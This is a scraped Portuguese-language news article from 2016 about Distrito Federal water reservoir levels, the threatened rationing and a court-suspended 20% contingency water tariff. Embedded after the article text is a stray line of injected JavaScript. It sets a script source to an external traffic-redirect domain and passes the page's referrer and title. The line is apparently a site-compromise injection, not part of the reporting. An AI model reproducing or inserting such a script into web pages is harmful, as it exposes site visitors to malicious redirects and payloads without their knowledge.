Ir para o conteúdo
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
Facebook X-twitter Instagram
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Entorno
  • Pelaí
  • Versão impressa

Cidades

Mesmo com chuvas, reservatórios do DF oscilam durante a semana

  • Redação
  • 09/12/2016
  • 08:09

Compartilhe:

O nível dos reservatórios de água do Distrito Federal voltou a oscilar ao longo da última semana, apesar das chuvas constantes que caem sobre boa parte da capital. Responsável pelo abastecimento de 66% das casas, o Descoberto começou a última segunda (5) com 23,1% da capacidade, mas chegou a cair para 22,91% na quarta (7). Na tarde desta quinta, o tanque tinha 23,41% do volume total.

 

No reservatório de Santa Maria, os valores aumentaram, mas ainda preocupam. Na terça (6), a medição da Agência Reguladora de Águas, Energia e Saneamento (Adasa) apontava o nível da água em 41,13% do volume total. Na quarta, o valor subiu para 41,22%, e na quinta, para 41,32%. Pelas regras da Adasa, o nível de \”perigo\” só será vencido quando a água chegar a 60% da capacidade total.

Em novembro, o Descoberto caiu abaixo dos 20% e acionou o \”gatilho do racionamento\”, chamado pelo governo do DF de \”estado de restrição\”. A interrupção do fornecimento não chegou a ser adotada pela Companhia de Saneamento Ambiental do DF (Caesb), mas ainda poderia ser utilizada. Uma vez autorizado, o racionamento só é afastado em definitivo quando a Adasa definir – e isso, segundo a agência, não depende de um único critério.

\”Depende de dois fatores, basicamente: do volume do reservatório e da data em que isso acontecer. Por exemplo, digamos que tenha muita chuva em novembro e a gente chega em dezembro com o reservatório em 30%. É o momento de sair do racionamento? Não, porque o período chuvoso ainda vai até maio. Teremos segurança hídrica? Se não tivermos, será mantido o regime de racionamento, talvez, sem usar [as medidas de restrição]\”, afirmou o diretor-presidente da Adasa, Paulo Salles, em entrevista concedida em novembro.

Na última terça, a Justiça do Distrito Federal emitiu sentença provisória e suspendeu outra medida anunciada pelo governo para \”incentivar\” a economia de água – uma tarifa extra de 20% na conta de água. A decisão atendeu a pedido da Defensoria Pública do DF, que questiona a \”existência de custos adicionais decorrentes da crise hídrica\”. O governo deve recorrer da sentença.

 

Tarifa extra
A \”tarifa de contingência\”, como é chamada pelo governo, é prevista em um decreto lançado em julho pela Adasa. O texto autoriza a Caesb a cobrar mais pela água, sempre que algum dos principais reservatórios – Descoberto e Santa Maria – estiver com nível abaixo de 25%.

O GDF chegou a propor um aumento de 40% sobre a tarifa de água, mas a medida foi limitada pela Justiça a pedido do Ministério Público, e passou para o máximo de 20%. Na prática, o acréscimo é de 10% no valor total da conta – cuja metade é formada pela taxa de esgoto –, e vale para todas as casas que consomem mais de 10 mil litros por mês.

O volume é suficiente para abastecer uma família de quatro habitantes, em média. Pelas regras, só esse grupo e centros de saúde, como hospitais e hemocentros, ficam liberados. De acordo com a Adasa, a cobrança extra será aplicada indefinidamente, mesmo que o Descoberto volte a um patamar acima dos 25%. Atualmente, e sem esse \”extra\”, a tarifa mínima de água é de R$ 55,15.

 

Racionamento
Em setembro, o DF chegou a anunciar – e colocar em prática – a restrição de água nas áreas atendidas pelos sistemas isolados – ou seja, aquelas que não são abastecidas pelos reservatórios do Descoberto e de Santa Maria. Regiões como Brazlândia, Sobradinho e Planaltina, que fazem a captação diretamente nos córregos, ficaram sem água por cerca de duas semanas.

Durante aquele período, unidades de saúde foram abastecidos por caminhões-pipa, enquanto residências, comércios e escolas passaram por dias sem fornecimento de água. Essas regiões também continuam \”sob regime de racionamento\”, embora as medidas não estejam sendo aplicadas. Da mesma forma, é preciso que a Adasa emita um documento para que a ameaça de desabastecimento seja encerrada por completo.

s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;

Compartilhe essa notícia:

Picture of Redação

Redação

Colunas

Orlando Pontes

Caiado é o cara

Caroline Romeiro

Brasília sedia debate sobre alimentação e nutrição

José Matos

A caridade real muda a realidade e deve ser recíproca

Júlio Miragaya

O surto de sincericídio de Vorcaro: “Banco é igual Máfia!”

Tersandro Vilela

O novo tabuleiro da IA

Júlio Pontes

Veja o desempenho dos deputados federais no Instagram em fevereiro

Últimas Notícias

200 mil moradores do Entorno trabalham no DF

11 de março de 2026
Foto: Arquivo Agência Brasil

Brasília terá título de Capital Ibero-Americana de Patrimônio Cultural

11 de março de 2026

Livro com 108 autores celebra voz feminina no DF

11 de março de 2026

Paula Belmonte não será vice de ninguém

11 de março de 2026

Newsletter

Siga-nos

Facebook X-twitter Instagram

Sobre

  • Anuncie Aqui
  • Fale Conosco
  • Politica de Privacidade
  • Versão impressa
  • Expediente
  • Anuncie Aqui
  • Fale Conosco
  • Politica de Privacidade
  • Versão impressa
  • Expediente

Blogs

  • TV BSB Notícias
  • Pelaí
  • Nutrição
  • Chico Sant’Anna
  • Espiritualidade
  • TV BSB Notícias
  • Pelaí
  • Nutrição
  • Chico Sant’Anna
  • Espiritualidade

Colunas

  • Geral
  • Política
  • Cidades
  • Brasil
  • Esporte
  • Geral
  • Política
  • Cidades
  • Brasil
  • Esporte
Facebook X-twitter Instagram
  • Política de Privacidade
  • Termos de Uso

© Copyright 2011-2026 Brasília Capital Produtora e Editora de Jornais e Revistas LTDA.